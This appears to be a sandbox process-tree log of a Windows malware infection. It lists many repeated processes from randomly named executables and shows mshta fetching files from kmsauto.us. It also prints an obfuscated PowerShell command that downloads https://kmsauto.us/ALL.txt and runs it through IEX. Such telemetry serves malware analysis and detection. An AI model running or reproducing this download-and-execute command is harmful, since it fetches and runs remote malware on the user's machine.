- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12336
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:13084
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:13028
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12948
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12048
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11768
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12192
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:1104
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11728
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11664
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7004
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12208
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12008
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11668
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11372
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12252
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12184
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12092
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11992
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11936
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11752
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11628
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11484
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8460
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10396
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10144
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10408
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11064
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10264
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10824
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10084
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10508
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10668
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3880
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8728
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8420
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10996
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:848
  - - C:\Users\Admin\Documents\Jjz7w0xhZvOF2Og6wqO44_6B.exe
      "C:\Users\Admin\Documents\Jjz7w0xhZvOF2Og6wqO44_6B.exe"
      4⤵
      PID:7484
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:17924
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:18004
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:17712
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10568
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10348
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11248
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11152
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10940
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10808
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10556
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10488
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8308
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6776
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2208
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9380
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10184
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8724
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10212
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9680
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9424
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10196
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10124
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9936
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9548
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9464
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7696
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2540
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5744
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2688
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6864
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8928
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7436
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:336
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:1416
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2056
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6028
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2028
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7260
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8372
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3896
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8924
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5856
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5356
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8244
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4120
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9012
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8920
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8768
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8392
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2524
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4856
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6856
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7884
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8104
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7952
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4328
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6660
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6436
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:15956
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:16200
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:18316
- C:\Users\Admin\Documents\utjISvPjKIyMFb2Vvry9ntAu.exe
  "C:\Users\Admin\Documents\utjISvPjKIyMFb2Vvry9ntAu.exe"
  2⤵
  PID:1584
- - C:\Users\Admin\AppData\Local\Temp\2cLbInNU.com
    "C:\Users\Admin\AppData\Local\Temp\2cLbInNU.com"
    3⤵
    PID:324
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\F853.tmp\F854.tmp\F855.bat C:\Users\Admin\AppData\Local\Temp\2cLbInNU.com"
      4⤵
      PID:3576
- - C:\Users\Admin\AppData\Local\Temp\S5BTrXYn.com
    "C:\Users\Admin\AppData\Local\Temp\S5BTrXYn.com"
    3⤵
    PID:676
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://kmsauto.us/ra/Encoding.txt
      4⤵
      PID:3188
- - C:\Users\Admin\AppData\Local\Temp\jKS17bzv.com
    "C:\Users\Admin\AppData\Local\Temp\jKS17bzv.com"
    3⤵
    PID:972
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://kmsauto.us/Encoding.txt
      4⤵
      PID:3372
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $A='DowRing'.Replace('R','nloadstr');$B = 'WebCAMt'.Replace('AM','lien');$d='tnt'.Replace('tn','Ne');$link ='https://kmsauto.us/ALL.txt';$t1='(New-OS'.Replace('S','bje');$t2='ct Sypek)'.Replace('pe','stem.$d.$B).$A($lin');$WC=I`E`X ($t1,$t2 -Join '')|I`E`X
        5⤵
        
        PID:4572
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        #cmd
        6⤵
        
        PID:7500
- C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
  "C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe"
  2⤵
  PID:2008
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:2080
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:2220
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:2432
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:2556
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:628
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:2200
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:1800
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:2356
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:1752
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:3024
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:2800
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:2020
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:112
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:1524
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:336
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:3100
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:3228
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:3336
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:3428
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:3508
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:3568
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:3680
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:3796
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:3860
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:3988
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:4056
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:3080
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:1592
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:2208
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:896
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:2124
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:3224
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:2956
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:928
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:1168
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:4112
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:4192
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:4292
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:4408
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:4528
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:4688
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:4772
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:4920
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:5080
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:2412
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
